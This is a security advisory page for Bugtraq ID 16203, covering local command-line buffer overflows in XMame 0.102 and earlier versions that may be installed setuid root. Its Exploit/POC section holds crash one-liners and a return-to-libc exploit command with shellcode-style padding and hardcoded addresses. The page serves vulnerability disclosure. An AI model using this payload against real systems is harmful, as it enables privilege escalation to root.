XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

BID:16203

Info

XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

Bugtraq ID: 16203
Class: Boundary Condition Error
CVE:
Remote: No
Local: Yes
Published: Jan 10 2006 12:00AM
Updated: Feb 07 2006 08:55PM
Credit: Discovery of this issue is credited to KaiJern, Lau <[email protected]>.
Vulnerable: Xmame Xmame 0.102
Xmame Xmame 0.69.1
Xmame Xmame 0.68.1
Xmame Xmame 0.67.2
Xmame Xmame 0.67.1
Xmame Xmame 0.66.2
Xmame Xmame 0.66.1
Xmame Xmame 0.62.2
Xmame Xmame 0.62.1
Not Vulnerable:

Discussion

XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

XMame is prone to locally exploitable buffer-overflow vulnerabilities. These issues are due to insufficient bounds checking of command-line parameters.

Successful exploitation on some systems could result in execution of malicious instructions with elevated privileges, since XMame may be installed with setuid-superuser privileges.

XMame version 0.102 is vulnerable to these issues; other versions may also be affected.

This issue may be related to BID 7773 (XMame Lang Local Buffer Overflow Vulnerability).

Exploit / POC

XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

The following examples are sufficient to crash the application:
xmame.x11 -pb `ruby -e 'print "A" * 1034'`
xmame.x11 -rec `ruby -e 'print "A" * 1020'`

The following return-to-libc exploit is also available:
./xmame.x11 -pb `ruby -e 'print "\x90" * 1016;print "\xd0\xf6\xd8\xb7";print "DUMP";print "\xaa\xf8\xff\xbf"'`

Exploit code by Rafael San Miguel Carrasco <[email protected]> is also available (xmame_bf_exploit.txt).

Solution / Fix

XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

Solution:
The reporter of this issue states that the vendor has applied fixes to the XMame CVS tree. This has not been confirmed by Symantec at this time.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report